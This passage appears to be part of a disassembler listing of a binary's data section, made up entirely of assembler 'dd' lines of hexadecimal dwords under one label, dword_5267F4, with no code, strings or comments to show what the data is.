		dd 0DA6928D5h, 0F3F3776Ch, 0D8914F03h, 0F9C5B0CCh, 182B6E62h
		dd 20676DC7h, 0CED9E968h, 3EA64991h, 440FF602h,	8FE18101h
		dd 7D8186BCh, 0B402BAC7h, 3C81707Ch, 842E3D5Ch,	40D80795h
		dd 0B289431h, 6477EE87h, 9E51A0C1h, 6F5D818Eh, 1C208F8Eh
		dd 0EDB3E913h, 0C10BC6E9h, 6D0005EAh, 338E1CA5h, 0E92E5CB0h
		dd 7127B5C8h, 0DCC48EE1h, 5E112FFEh, 0D2A23BC7h, 97F1E9C3h
		dd 0E4EBD92Fh, 0F95220D9h, 2DB1664Ch, 778E8B17h, 0E9271D36h
		dd 5700628Ch, 1612CB6Fh, 0E50414Bh, 5FCC3C3Dh, 25CA7E52h
		dd 0A8FED867h, 0C0645401h, 39F40F51h, 0FC58D604h, 0C1C7978Fh
		dd 0F68627FBh, 0BD28D4DBh, 0D71B1097h, 3382C612h, 12DD883Fh
		dd 0D6901378h, 48965C7Dh, 0B000A02Bh, 68163C3Ah, 0A3B40239h
		dd 0A2B7A067h, 5044D569h, 0AC0AE83Fh, 601C21Bh,	3B86F905h
		dd 5D2CE9FCh, 8B41B527h, 0BC05E40Dh, 183ECBAEh,	0BB0A6EA2h
		dd 3A7D021Eh, 7E3C139h,	0FC2F8781h, 0C2AD60C5h,	5C435401h
		dd 0FB9AE935h, 6C25AA66h, 89666241h, 0F858D334h, 9AF89F63h
		dd 956C3722h, 1029189h,	9477995Bh, 0FBF39033h, 0EB379204h
		dd 3DA4CCDEh, 3D8C92Dh,	5E4CDFC6h, 289A48B0h, 381C132Eh
		dd 4FB85060h, 23F2C26h
		dd 0B4B309DCh, 0E1B0D482h, 0DF68100h, 703B2D88h, 0C827F8FEh
		dd 9F8F8A69h, 25FE246h,	46CFE020h, 0BA7B5CD2h, 0A13E1E01h
		dd 2EE1E969h, 0CDFAA513h, 3682F3A0h, 0E5AFF7CDh, 645C166Dh
		dd 0AB81BFCFh, 475767B2h, 0D10B3482h, 786580CBh, 4C01397Eh
		dd 59281095h, 0E3969350h, 0AB1363E2h, 8EE45BDDh, 0B917C7F2h
		dd 77AF81F0h, 0E9FEC41h, 97AC1C9Fh, 68851BF1h, 4E521693h
		dd 988D5CEBh, 0A2BA167Dh, 114C7972h, 5D2CC023h,	0A1421ED1h
		dd 0B73A04E5h, 28680AC4h, 0FC0C71Bh, 39592A4Fh,	0D8B8EB9h
		dd 21553150h, 0F2B7E974h, 5D97882Bh, 2D72CFB5h,	0C0A69AC5h
		dd 66726309h, 22AF0FA1h, 0FE021054h, 0C1AF44E9h, 0C2463B80h
		dd 0CF04815Fh, 644936AFh, 8ACA90BFh, 544BF235h,	406D28F0h
		dd 0C57A80C7h, 765AABF0h, 9229F0F4h, 0E155E9A0h, 5AE5A014h
		dd 0C631E505h, 6435C9DCh, 0AFE39F68h, 0E5913AE2h, 17CA7310h
		dd 30E8D6F7h, 0D56B00D3h, 413AEF0Eh, 789D6CB0h,	47ED0FF7h
		dd 77093903h, 0F94E6241h, 4E9928F3h, 5C89ADE7h,	153660F5h
		dd 96E9263Bh, 13D44255h, 0C7299182h, 7E709FC1h,	0CACCD823h
		dd 29B6CA1Eh, 0DCEFFDD8h, 65BB1416h, 0DF82BEEBh, 123564Dh
		dd 50685D54h, 0ABE37E06h, 0E71FF085h, 0CD891473h, 6C3D18B7h
		dd 0C7C33027h, 6D68AD90h, 74F56029h, 368BE09Ch,	3F56E72Dh
		dd 0BC493A34h, 22F738F3h, 28AD20D0h, 91890F0Ch,	5EDA31EFh
		dd 0C394F9FFh, 0F143C4B5h, 27961927h, 0EA6C13A7h, 0B7DC09D8h
		dd 0BD8D60Bh, 53F39538h, 95344A12h, 0A43AC4C9h,	0C24ABC1Dh
		dd 530C65FAh, 0B533E8D9h, 20F1CCEAh, 0ADE107BFh, 2F89C963h
		dd 29C4E829h, 74B4BA4Fh, 5AEE26C3h, 0FF29134Eh,	13082210h
		dd 55F1E3E9h, 0C9E4F6FEh, 1D202458h, 5CC29709h,	5C32B976h
		dd 5FA7C1Ah, 443AC168h,	721F490h, 32BC315Fh, 0EE29A61h
		dd 50C78853h, 0C30CF86Ch, 5B62DEF0h, 0D10EAF24h, 2F952664h
		dd 507149DEh, 0D729804Ch, 8151F960h, 0EA7C51BBh, 1CB0430h
		dd 2E806E9Ah, 34A28D0Fh, 0D307F79Ch, 4F9DBE56h,	58517490h
		dd 0E6144E8Bh, 0DCEA9673h, 0C14BE439h, 82A52CB8h, 0F0D90261h
		dd 0BECA9A8Ah, 305DE181h, 5EC0BA5h, 82799DE0h, 0BD73488h
		dd 7780DBF7h, 360C487Dh, 8EA755A0h, 319B4701h, 252FE9F3h
		dd 518548h, 0D11D016Ch,	2DD0F7E0h, 0A7548300h, 3CD2355Dh
		dd 137148FAh, 0CADA6916h, 0FB304F1Ah, 0C1B679E9h, 0F3814B16h
		dd 13FDFCD0h, 0D64E7890h, 0C2FEAE49h, 0EDF4A1h,	0B8457705h
		dd 11032D2Bh, 29242764h, 704E5F0h, 0A4A004E9h, 50FD070Dh
		dd 0B2483869h, 797FDBA1h, 26F7C9E5h, 0E9136608h, 8551F5E6h
		dd 8AEA5713h, 0D0E90C9Fh, 0EED59DC6h, 0E59A6986h, 0AFAC0644h
		dd 7237554Ch, 5DF842BDh, 78E716B9h, 0F6CB5B31h,	0B876E85Fh
		dd 8B532CE9h, 0CCEE9D1Ah, 0F80F758Fh, 585ECBFCh, 0BC26DBF3h
		dd 0EB38B13Eh, 0F67D81E2h, 0B4A6D0E3h, 1077EC3Bh, 0EA40EF18h
		dd 47F404Ch, 0B6BA54Ch,	1856EC68h, 97CBB5F9h, 0D41E0FD8h
		dd 55D548Ah, 5D08649Ah,	3F8669E1h, 2CEE6A85h, 425482A4h
		dd 6C90C2AEh, 0FC36DC0Bh, 0B2C98563h, 0F56CDCEBh, 928B5E4Eh
		dd 4F4E2C50h, 935FB8C0h, 2E15D9EEh, 0E9A1D0E8h,	3019346Ch
		dd 66A8FD4Ah, 1251531Fh, 0ED3DC459h, 4AD1D53Eh,	3D952D61h
		dd 2E552D02h, 1C9EA0B6h, 57051h, 9F73FC5h, 0DC68E801h
		dd 8F327A5Ah, 7C3142FBh, 5A3E03A5h, 0C040483h, 48C83529h
		dd 0D4FB2FAh, 0E2EC19E9h, 0A3F3CC83h, 9C4A0927h, 172E52AFh
		dd 0F8802C3h, 0A0FF2A80h, 562EF2C0h, 52470491h,	8DE185E9h
		dd 70E6CD85h, 0B481F10h, 64E9167Bh, 4205AB5h, 0DD3A2D16h
		dd 41295176h, 223998C8h, 534DBF33h, 9209A235h, 6598DC35h
		dd 0A0DED4DFh, 77139FCCh, 4EE0EF7h, 56C73155h, 6C46D08h
		dd 0E5976859h, 445F7BF6h, 92D04B75h, 2F6C562Bh,	0E75E0916h
		dd 1E53442h, 6E604E68h,	8682152Dh, 19C10434h, 5B58468h
		dd 253F4AB1h, 2A13498Eh, 58F09D12h, 87EFD10Fh, 7A6F25CFh
		dd 0BDAA1CC8h, 0B759E542h, 86F376CBh, 9AF332E9h, 65CA882Ch
		dd 73AF8024h, 96B18ED2h, 2F664C11h, 0EDD1A08Fh,	7E0F7E5Dh
		dd 1CFD487Dh, 135F0840h, 212E67E9h, 0E746AEh, 27540B35h
		dd 5B5C6F07h, 9203B8C8h, 18232565h, 0C34EF33Ch,	278B02ECh
		dd 1DC59BF6h, 9AFE1488h, 6449F19Ah, 5509C4C6h, 0B300CFAAh
		dd 37E94131h, 923A3E9Ch, 0D69DEF68h, 205AF37Fh,	911CA9CBh
		dd 0B307072Fh, 93DE074Bh, 0D81DFCE0h, 0CDD3C3B2h, 881F23A8h
		dd 0ECC68EE6h, 0E35E171Ch, 36E31CDDh, 7409084Dh, 4FF7FAC0h
		dd 93ED12F6h, 341259ADh, 0F20EADCh, 1AF31A4h, 0BD554B46h
		dd 70215DE6h, 1F4025F6h, 5F63EC4Ah, 0F526A8F1h,	9FEB0285h
		dd 30ED5A33h, 3E955C1h,	5F128639h, 0F647D689h, 6ABF6E11h
		dd 0F21FD9A6h, 0F9C5832Fh, 0A4F96911h, 5857E941h, 0AE0C0405h
		dd 62F2BEBDh, 97C8D0D9h, 0B5C2120Bh, 5204E192h,	7A394B20h
		dd 0D847BD27h, 0F0E14B12h, 7E919F62h, 760EEA03h, 0C04462Dh
		dd 23386CC0h, 5883D7C0h, 0E01C4C94h, 6081C68h, 3FD97AE9h
		dd 2384C707h, 56B42E7Fh, 5DFC43D5h, 3B87D10Ah, 282624D7h
		dd 14080025h, 0E98134C2h, 0EBE4BA5Eh, 0F5D4409Fh, 83C08270h
		dd 323E2E25h, 401DC031h, 0F0EF0581h, 5CEA38B5h,	685B7E1Fh
		dd 892D92CCh, 46D60FEBh, 0C36403F3h, 4816B916h,	3AC54B61h
		dd 420020A8h, 0E93D9A2Ch, 0D58227CCh, 8F358860h, 0FE678B09h
		dd 39467D29h, 7AEF597Ch, 0E9126EDAh, 0D09B85CAh, 0E57EA7B7h
		dd 35E1E24h, 12A9BD58h,	0A07C2E57h, 0FE44ED08h,	8550CE7h
		dd 0D6A81A32h, 1216A424h, 5FC6AC0Dh, 6874203Fh,	0B295262Bh
		dd 88AF41FDh, 0F7163776h, 0E1BAB8F9h, 276E329Bh, 0F8FF8413h
		dd 64B90023h, 8115202Dh, 7EE804F1h, 0EB3148F6h,	0D6E25DC0h
		dd 79F50267h, 0CC55E953h, 0C80FABD2h, 66830E41h, 9D9931BFh
		dd 0BCE54FE3h, 0EA011A91h, 5712C91Eh, 265568D4h, 26112D9h
		dd 1EA6469Fh, 26396076h, 943F9F5h, 97325AC4h, 0A0B8F56Ch
		dd 0DBB75E59h, 2B711DDh, 7FACBA52h, 402E363h, 9B48BD6Ah
		dd 0E73EC24Dh, 502F0C66h, 0E0C77EB8h, 4B62387Fh, 1FDE92Dh
		dd 12CA68BAh, 0A49E77C2h, 9596E975h, 0E5D7B10Eh, 0A64B2510h
		dd 305F76A7h, 0D9123C2Eh, 0E9296D1Ah, 0E0080AA2h, 0F8D35F1Ah
		dd 71D095ACh, 0AB29E609h, 15807D4Bh, 14D71251h,	5BFFF980h
		dd 0AB17BBF7h, 2BC579ABh, 0FFD3B2BDh, 80C1C28Dh, 9CE8C58Ah
		dd 14B981BAh, 809A6435h, 3A4E65B8h, 90F92912h, 600882DCh
		dd 9719D14Dh, 8A681538h, 0DE783948h, 717CA53Fh,	532881FFh
		dd 0F85E46F1h, 1FB66DB7h, 3F19F6C0h, 56350036h,	526F02Dh
		dd 0A8F47838h, 1BEEE91Ch, 1A34D725h, 0A7B60BFh,	0BD764A0Bh
		dd 0E6C10B5Eh, 0E7628405h, 2A8ED9AEh, 0D316EAFDh, 0E9A38C76h
		dd 2770C949h, 0B5724657h, 4CC8F4D8h, 4FD82566h,	7FB9764Eh
		dd 8813B582h, 0BC905DC0h, 9E43F582h, 5C17DCFBh,	3040D159h
		dd 2506A6C7h, 0A00CC161h, 7B44148Ah, 0D9840ADh,	0BCB675E9h
		dd 8CFE7E92h, 0D4987D1Bh, 0D040D99Eh, 5B18234Dh, 2B03E129h
		dd 0C5595E6h, 5173E02Fh, 482FE790h, 26B9DB1Ch, 0BE512F4Ah
		dd 0ECA47397h, 5F7E0CF6h, 900C2DDBh, 302E7A16h,	23C1910Ch
		dd 0B4F1BC2h, 6EE328CBh, 0A0CE9D40h, 0A78C493Fh, 0A2C5A89h
		dd 61D85B50h, 203516A3h
		dd 8CDEFFF3h, 194F457Bh, 21BD9780h, 50F0BF72h, 7E683025h
		dd 3CC15AD9h, 3D85296Ah, 74277987h, 0E022F6D9h,	0C78833B0h
		dd 5250581Dh, 251FE49h,	0F4EC9C5h, 8D0FC300h, 0A395C095h
		dd 8DE93B30h, 68092DFCh, 60461E47h, 4E56C009h, 31E48079h
		dd 90116239h, 3E0C011Ch, 0D5E946FDh, 9E8A2A43h,	0A4087662h
		dd 9D00A564h, 0B969DB25h, 37F10918h, 9B783133h,	3EC51410h
		dd 16772D3Ch, 9113EF01h, 8AAEFB52h, 0EDA05B7Ch,	3DA56E71h
		dd 362C7C2h, 9EF1DD80h,	599D521Fh, 74311EBFh, 1EF1EE28h
		dd 0A4879E43h, 0D15902FBh, 0A1DC43E3h, 0A3590882h, 267EF622h
		dd 43F32729h, 2F993208h, 52C2FFE2h, 0BF006CDEh,	3CA279A7h
		dd 73F907B9h, 533130FBh, 9403495Fh, 5CB42CC8h, 1809AC29h
		dd 0F73BA05Dh, 4F170E02h, 2AD08BA0h, 1A98F34Bh,	8ED4D324h
		dd 63086F6Ah, 0CB8100D8h, 700858FBh, 4D094790h,	86778C62h
		dd 76070211h, 3AEB0981h, 49802CF4h, 17B49C8Ch, 0E9C63104h
		dd 3FB9657Fh, 0C84911Ah, 9F2DCDFFh, 0E260D268h,	0A30BD617h
		dd 801FFBF6h, 0E529F205h, 9D30E94Ah, 23CDFD0Dh,	6D3B3D3Fh
		dd 3D316AAh, 8061B551h,	12D9CBF5h, 686E341Ah, 1848BB25h
		dd 901F9B66h, 0B125008Bh, 0F344E05h, 2196DE80h,	26AF3501h
		dd 88ED37F4h, 0F74648F2h, 0E8C12DD0h, 0C80CB276h, 121E9FA7h
		dd 0F9BDF1h, 15369ED2h,	0ED068157h, 309C4592h, 52EC080Ch
		dd 93A3278h, 766CC86Fh,	0D108A050h, 0A17C140Ch,	36945B20h
		dd 351FCFB3h, 21E7401h,	26C1E908h, 5E2FD279h, 0FCD592BDh
		dd 0E24A77C8h, 1BA38BEh, 45ABCA4Bh, 40F19247h, 6C06EABEh
		dd 0F137DF3h, 3B13C8Fh,	4A0B9464h, 84EAF902h, 44188644h
		dd 5BC0156Eh, 0DCB15FFBh, 0E15B5AB4h, 3105FCFCh, 0E7B11FD2h
		dd 0E0C19441h, 0A804142Fh, 0C1FEA35Ah, 5DD3C0C6h, 26A7CCF8h
		dd 840DFF78h, 0B851D406h, 0E95661F7h, 923BA638h, 57FC027Ch
		dd 85108482h, 0D864F7AFh, 994B1098h, 68098EF3h,	1EFD7569h
		dd 0EBF520C4h, 0BA68660Eh, 4D9976Ah, 0F6DBD02Ah, 0C05FDFE9h
		dd 20FA2726h, 8627A471h, 32FCE5C2h, 0A5DD7E32h,	0C8AFDB61h
		dd 751621A0h, 0E3B1B608h, 14CF1280h, 0E9487F25h, 2FAE7CF1h
		dd 9254765Ch, 6001B13Bh, 7F1310A8h, 4EBF72C4h, 1481F87Dh
		dd 30D129C7h, 0C4B7040h, 4E0E859h, 60A3976Eh, 0F1A7716h
		dd 61188E19h, 0D2414326h, 2F2DEB3Ch, 0BAAC2002h, 0D5DE8906h
		dd 0FE0A4E3Fh, 0DE99D51h, 0FD3A5ADCh, 22E70491h, 43C416B4h
		dd 0CB59FEB8h, 0F440A897h, 0E99BD8FFh, 80B69F2Fh, 0E52628EFh
		dd 9006B77Bh, 609F558Ah, 9DF08B7Bh, 84952051h, 0EF680C91h
		dd 6290A30Dh, 295924DFh, 209F8682h, 2C50ACA9h, 3D199780h
		dd 0E492D99Fh, 5161BB56h, 413EEC5Ah, 4442857Ch,	0CCE22140h
		dd 29716770h, 804DD41h,	0BF88BABh, 0E88B99E9h, 0CC1814Ch
		dd 0B890D40h, 8CECE80Ch, 3CE6334Eh, 0E2AF102h, 0E30F74D1h
		dd 64B8A21h, 4818EB0Ch,	4E013C60h, 68BC953Eh, 0B38957A0h
		dd 6455E761h, 1619E687h, 0F1592F62h, 90F06D46h,	94A64EF8h
		dd 40BC7819h, 230870ACh, 0BFFCD195h, 0A8C8C5ACh, 0B35EF213h
		dd 0E12F178Bh, 0F5F62EA4h, 1B4EEA4Fh, 9153E6CFh, 1E215A0Eh
		dd 9FD42F9h, 0D4C22080h, 0AF45F65Ch, 10523B0h, 15F77F79h
		dd 0EC07612Dh, 0C64C014Ah, 46CE2C3Ah, 0E3FB603h, 0D8688859h
		dd 0B71ABF7Eh, 94260571h, 0F18A08h, 0D0276E2Dh,	0BD000D4Eh
		dd 253DC341h, 4FDD46C5h, 190BA058h, 2E9B510Bh, 0A8588135h
		dd 4A3029F4h, 0BEF24004h, 123DAAB8h, 54372617h,	0B54EDAA8h
		dd 0A4050817h, 5FD5CC64h, 53C12005h, 854524FFh,	1348B2CEh
		dd 27AFF4ABh, 2FBC8258h, 43B33AF7h, 0BD6100D9h,	6B637F42h
		dd 4669F581h, 2BAB560Dh, 0EE9344BAh, 0B50EC4D8h, 0C240601Ah
		dd 92243770h, 91036871h, 0F88E6DC8h, 0B2B0E9E8h, 0BB585A28h
		dd 5BB9A528h, 0DF31B2F2h, 51D57549h, 78002F12h,	0FA225C5h
		dd 5AD02117h, 0E0334EEBh, 0D39FEC77h, 0D3870307h, 3942A2h
		dd 8B0FE0D1h, 25FB312Fh, 0A5402059h, 1D75BEC1h,	9F89F61Ah
		dd 0B6528968h, 0C6FEB403h, 936BF680h, 0EC0E5ED6h, 55F87A76h
		dd 34DAE917h, 0CD2F01F3h, 0ED801A01h, 2072BA6Dh, 0E5C00214h
		dd 0DE29E906h, 8B2D0ACCh, 7CF5EF9h, 652E0ACDh, 0E805AB09h
		dd 0AEF4BBDFh, 0DA721EA4h, 5B8FCDFDh, 0B1F78C51h, 0DC52764h
		dd 1FBD63B8h, 93173EDEh, 7E82CFAh, 6FFBB47Ch, 0F145A9DCh
		dd 0C80EA67Bh, 9DDA52EBh, 8402A70Dh, 420D545h, 9C939AA2h
		dd 0F10D16E5h, 0DAF42151h, 0F03070C4h, 0F5ED5B22h, 69F82D33h
		dd 0E06EAE55h, 0E975AB1Ch, 41B34B5Bh, 3449437Eh, 9C05D327h
		dd 0EF798E7Ah, 0E47FF1ABh, 77A4905h, 181EAEC0h,	0CB29698Dh
		dd 0A0F0C084h, 53515B05h, 0F5BAF388h, 1C0FFCD7h, 0FA114CA1h
		dd 1F09D65Ah, 5F052B47h, 805B4C2h, 85DAF25Dh, 0B221315Ch
		dd 6800B355h, 65C509EBh, 728A939Bh, 0A3CFFC5Ah,	2AE80557h
		dd 8565F00Dh, 596BA0A7h, 8F6040B2h, 35CD81B5h, 733F265Fh
		dd 0AFFE69BCh, 0FEB2E0Ch, 4913FCE3h, 0BD895256h, 0AB5239A4h
		dd 148BFA61h, 0F53CA83Bh, 0D60567BFh, 0C7382337h, 87B7E25h
		dd 0EED32C2Fh, 437CB55Dh, 0B708C556h, 5604AF32h, 30EB8B0Ch
		dd 750F696Eh, 79FC794Fh, 8612470Eh, 0C9C9FE52h,	129F6F0h
		dd 0F5D247Ah, 3FCEA88Dh, 0A00780D2h, 8BC5887Fh,	805B00C7h
		dd 870FF5CDh, 0DA93FE26h, 0D556EEB4h, 0A32F01AEh, 7E2F2D0Eh
		dd 4F4033F1h, 5F18F0EEh, 0C2A3E404h, 0AF8D654h,	0BF27714Bh
		dd 0F603A382h, 0B68A62FEh, 0C193DB23h, 7D3F1A7Ch, 9E383A25h
		dd 0E61730E9h, 0BB32F3FFh, 0C0A41025h, 0B7EF41BBh, 0AFA5C271h
		dd 2FD8A681h, 0ECDD5C81h, 0EB0F3525h, 59053FA7h, 0DD2074E6h
		dd 386897AAh, 0F40943CBh, 0D95D5A37h, 9B09EB5Ch, 6F04E769h
		dd 0A3B58BB8h, 68E9122Fh, 0EE0506B2h, 0BE096E05h, 0E9E156DDh
		dd 0C479FC3Fh, 0BDF9C821h, 0AEDCA485h, 9944A69Ah, 103E6062h
		dd 580C2FBFh, 0FB894D09h, 1404575Fh, 0B88DD0F5h, 0F30B6511h
		dd 87C5017Fh, 35F2CD17h, 98A55AE5h, 52A09537h, 6AD9F0C2h
		dd 0ABA8105Fh, 8759884Fh, 58AF7D12h, 563E5501h,	0C827446h
		dd 2FA860F2h, 800DD0F7h, 6573E908h, 0EB5D64F0h,	4D48AEE6h
		dd 0A45FD613h, 341317Bh, 85BFBD3Fh, 0ADF27935h,	0CEF68B8Eh
		dd 10B64D77h, 8001B0FDh, 0B75367E2h, 6532ED7Bh,	0EEC28223h
		dd 87DF5FD3h, 23E5F58Ah, 0F26697D2h, 12172610h,	3E092052h
		dd 95798702h, 18F9580Eh, 59E90844h, 9E5F9621h, 0AAE93F42h
		dd 0F1B78AA3h, 4DFB6064h, 460C732Fh, 4A01EAE9h,	366A00B8h
		dd 3E2D1F51h, 1000B772h, 0B784B0Dh, 2C923565h, 92E6CB2h
		dd 7451C484h, 3A3244Bh,	0D12185B1h, 16D6E67Fh, 1DBB1886h
		dd 34F79825h, 4295C361h, 9DF400Eh, 344F2478h, 6F4D04CCh
		dd 4982AE76h, 0B88954E6h, 0F63853B0h, 0D44C88D2h, 0D0EE17EDh
		dd 0F25BF84Eh, 1C585FB9h, 0F0B4B15Fh, 0B03F5053h, 0E24EAF34h
		dd 0AECD7D23h, 0FA56E904h, 0E3D68AF8h, 0C0F25A66h, 2531D01Ch
		dd 973D71FBh, 278DD6A1h, 97A967E4h, 0D9A743DBh,	18E9E171h
		dd 62DA57C1h, 0BBF77799h, 504104B2h, 0BB089068h, 9B92CF37h
		dd 533EA313h, 342ED052h, 0C21E5EA7h, 29F1C7CEh,	5D3309Eh
		dd 3EDCF00h, 4A13880Fh,	92EDA6E2h, 0EB463F04h, 413110C2h
		dd 9B3889F0h, 2B5F6818h
dword_5267F4	dd 7A9559CFh, 3A1E0238h, 0DBE93F13h, 0ABD71A50h, 0BC8465BCh
		dd 73762988h, 2A4AAB10h, 9A25BB31h, 0E923D4F9h,	0E950F476h
		dd 7D8095A8h, 15D4ABEh,	0FF536D24h, 0F62DBC0Bh,	0A512515Fh
		dd 0E6857089h, 39CA036Fh, 0EBBD555Bh, 0AE6141DAh, 2E0735EEh
		dd 2B12DF3h, 14659353h,	6B686A80h, 4CAA4C50h, 26875F10h
		dd 0FA00874Ah, 0B8DE34BAh, 0BD04050Fh, 0CED0290Bh, 0CCEB032Fh
		dd 5114F7Eh, 0E577F30Ch, 5350AB51h, 140C6808h, 0CB795814h
		dd 5C1641C9h, 2DE1283Ah, 216EE91Ch, 5F80145h, 9DA80716h
		dd 0E55D50A2h, 0E9AF1831h, 0E61CC181h, 9ABD4136h, 0DF336F85h
		dd 97037A70h, 8101B53Ch, 0AC73D8E1h, 4941240Dh,	30140B33h
		dd 3F0C909h, 13530507h,	945176BDh, 0DFCAFB6Fh, 3A073988h
		dd 9D5911D0h, 109FFECEh, 0B5EA2767h, 9258EAA8h,	2F1EF115h
		dd 9B110F0h, 2E1C0FAh, 0CA16C605h, 0F6924EE7h, 9D440277h
		dd 0A0AAA8A4h, 5AB54E84h, 7D4C3861h, 8634FA4Fh,	68DB30FFh
		dd 0B4134DC6h, 89045A7Ch, 64ACCF6Bh, 4BA5523Bh,	9FC79DE8h
		dd 65AF5318h, 0B3B7B0Ch, 0FD5D1FEAh, 0AF169A8Eh, 4E65F74h
		dd 0AC6EE616h, 0F5A68936h, 5573C089h, 0FD68364Ch, 0BD7B2C3Eh
		dd 0A8335901h, 2B1AE944h, 0D03A457Bh, 0D99DFFDAh, 0E104E56Eh
		dd 6D22BC9h, 72C2DD72h,	3AD75714h, 8FC465F2h, 0A4CFA83Ah
		dd 2D63982h, 9561D131h,	36860537h, 0EC4D4EE3h, 0EFF51C98h
		dd 5DE7D5Ch, 82FA214Bh,	822DE81Fh, 0A07BE907h, 0EA815FD5h
		dd 0D94C1FA4h, 3DA0C6Fh, 5C0BBDE5h, 0F824F338h,	122D9851h
		dd 0AA52EB7Ch, 91C7A302h, 31E375DDh, 6DE4401h, 0ACE943F4h
		dd 0EEB8F380h, 56208875h, 8A16BE00h, 46E9DF77h,	0CAC3A801h
		dd 5E787D1Fh, 47A8B07Dh, 0EF55404h, 2CBD531h, 0B2E98861h
		dd 111D7945h, 0EF3E5962h, 0A4FEE096h, 0C80761DDh, 0DD896588h
		dd 10E86FD4h, 5808BC5Eh, 0EE3E73B0h, 47619B2Ch,	10D9D88Dh
		dd 0C506B7Eh, 66B09072h, 5B9C24B7h, 0CEC698ABh,	0B042FA40h
		dd 0F99A6BD8h, 0BFF29D40h, 621F4512h, 915810AEh, 8D8FAC04h
		dd 94E7BB9Dh, 0C84E6948h, 0CD60DE90h, 63A4BA0Ah, 0F51A5F80h
		dd 1604CCB2h, 504BE530h, 5B2DC049h, 4C26F88Ah, 918684D2h
		dd 7922BF0Eh, 64F71EBDh, 4A600E15h, 0E7C3099Ah,	358A6CC0h
		dd 0B6301157h, 0FE1D34FCh, 0CB3709F7h, 40FF744Fh, 0B92B83EFh
		dd 312DBC10h, 4B7CA489h, 9441BE82h, 0C5F7DC6Dh,	0B9DE40C2h
		dd 737754BBh, 570901BEh, 0C1C76ABFh, 303E433Eh,	0C777F4AEh
		dd 0FAE495Bh, 290A8E36h, 0DB088B8Eh, 50833932h,	972533F5h
		dd 0AD0BFC12h, 2B628271h, 0F6350051h, 0E27AABFFh, 33F3B35Fh
		dd 825EA558h, 0E27D5F09h, 44727307h, 0CAEE1683h, 4E45BFBh
		dd 5F17E68h, 0F9E953A1h, 8942FA18h, 646A4216h, 0C23E4E17h
		dd 9B7B5DF1h, 2E665343h, 9FF87E90h, 0BF4F308Dh,	48619B36h
		dd 0AB1E8F9Ah, 0E049A06Bh, 37D15519h, 97C0AA54h, 6CE913B5h
		dd 358629DBh, 84466DEDh, 0F243ABB2h, 77F2378Bh,	0CDE9C9E3h
		dd 0FAF4F7B8h, 9757EC2Bh, 34CA7613h, 0CEB5AB85h, 4E78E662h
		dd 74239CBFh, 730A0616h, 0E0074BAh, 98325F0Ch, 0C85A8526h
		dd 0F91495CFh, 60075690h, 0B30E321Dh, 1626FD29h, 15082953h
		dd 20681A7Fh, 0FC60DEDEh, 1B26AC2Fh, 335A60E9h,	0D74EF5D8h
		dd 4921612Dh, 0F934D4CEh, 0F1222DE9h, 0B5CD9E1Bh, 450C8C29h
		dd 13C28F2Ah, 0B83E3D61h, 0DE981622h, 8AF1BB34h, 0B37FE7E5h
		dd 32C793Bh, 0D953D490h, 0E26E4A55h, 0B4C21E44h, 41658089h
		dd 21285FA7h, 39D1FED3h, 0D011AA15h, 0DC567A10h, 5E9F7CFFh
		dd 305B740h, 61CAC119h,	0D1E2C289h, 0F6EAC190h,	0EDEB6516h
		dd 0CDD84FAFh, 67AF58C2h, 0E71509C1h, 0EBFD9883h, 0EA02B1F6h
		dd 568618EBh, 640C7876h, 9FEE8366h, 0D390215Ah,	64D8CA97h
		dd 2ADE2FFDh, 83290C94h, 8180A9BAh, 482D66F6h, 2DF6B36Eh
		dd 7CB73EE6h, 0EDE94112h, 0C80524EEh, 7AF3FDEFh, 445B0AF2h
		dd 0BD01140h, 2DDFFC01h, 0E98B8FC5h, 9D3044B4h,	0CE7AB2F6h
		dd 1F492207h, 51B87EF5h, 8BDD6BB2h, 9556949Fh, 5C407B60h
		dd 0E9484A04h, 20FEF8FFh, 29842DAEh, 4CA8C72Dh,	0F906C19Dh
		dd 0A84D615Fh, 7D695DA5h, 95A9753Bh, 0DD803300h, 95A8B63h
		dd 0ECA4ABD0h, 0BBDF5E35h, 0AAC60900h, 2CEB509Bh, 16B8F309h
		dd 0C2FEB4BEh, 0C34A990Bh, 0E8EAD569h, 3FB2C5D5h, 0EB053B18h
		dd 0DD821F0Ah, 0D4BF2ACCh, 8FE95854h, 80A8C052h, 0D5325C2Dh
		dd 35DAB550h, 3409CB00h, 67E9420Eh, 0F633D8A2h,	0A43221DDh
		dd 82F3AC37h, 682FE907h, 95515865h, 591C74F2h, 76EFEA88h
		dd 0F12308B0h, 5AD00802h, 9F61D5C0h, 0EC533F6Eh, 2087A8C1h
		dd 855A396h, 68064C6Dh,	26C330BCh, 52AF6CE8h, 0BA3C9061h
		dd 9F0B6A21h, 48C8F32Dh, 6AE700C3h, 0FE010E7Fh,	882A390h
		dd 28284B8Eh, 149E801Dh, 57644A09h, 0BB424794h,	0E9D82904h
		dd 0B2E4B037h, 30286926h, 8F178016h, 0AF21C5EFh, 464470Bh
		dd 31AAB9F0h, 40A7DDBBh, 7FCCBB8Fh, 0B0686028h,	13405D1Ch
		dd 2C74E9C6h, 4A222EEBh, 0F878C40Dh, 0A094D85Ch, 3EED0364h
		dd 730B8BBDh, 0BAF0E0E5h, 13AD3000h, 5DEA29AEh,	21E91357h
		dd 5F2690BFh, 40508511h, 3D05AD94h, 0FB011D53h,	357FDE18h
		dd 7D5A1616h, 60C0907h,	0D856B241h, 4DB69C17h, 91396A80h
		dd 68352Ch, 2D7A664Bh, 332B628Dh, 95F00095h, 0BD1A5C07h
		dd 2F5DBF89h, 57184990h, 5E9D3C1Ch, 86BE8B2Ah, 941A57Eh
		dd 59205AD7h, 0B82EFEA1h, 7DC206E3h, 0C57B806h,	93659408h
		dd 0D78A3947h, 13E79540h, 0D1584FCBh, 160ADCB4h, 17FB323Fh
		dd 0D139AEBCh, 43BF6F9h, 0CB545118h, 10695851h,	0BD2D0509h
		dd 0CC804171h, 297B5A3Bh, 69DEB7E9h, 0E9012674h, 4B202020h
		dd 7F2BB65Dh, 4F5F0D48h, 0FFC167A2h, 30B95132h,	315C42EBh
		dd 0FC6801Fh, 46292F9Ah, 590C404Ch, 7435C5A1h, 7195BDC0h
		dd 0C66E0B38h, 908B96DEh, 4260F916h, 9877B521h,	28055C1Dh
		dd 5F8D5B8Dh, 0B0A913D1h, 0FC59181Bh, 7C250194h, 0C78946C6h
		dd 82085660h, 78A0B2C0h, 0F6AAB02h, 4884EE85h, 829AF8EFh
		dd 13E4F7h, 0C42EDCB9h,	0F1814114h, 305EAF0Bh, 20D8DE52h
		dd 3FD913A0h, 805782D0h, 0D7C1B19Bh, 0D1F5C260h, 44A95289h
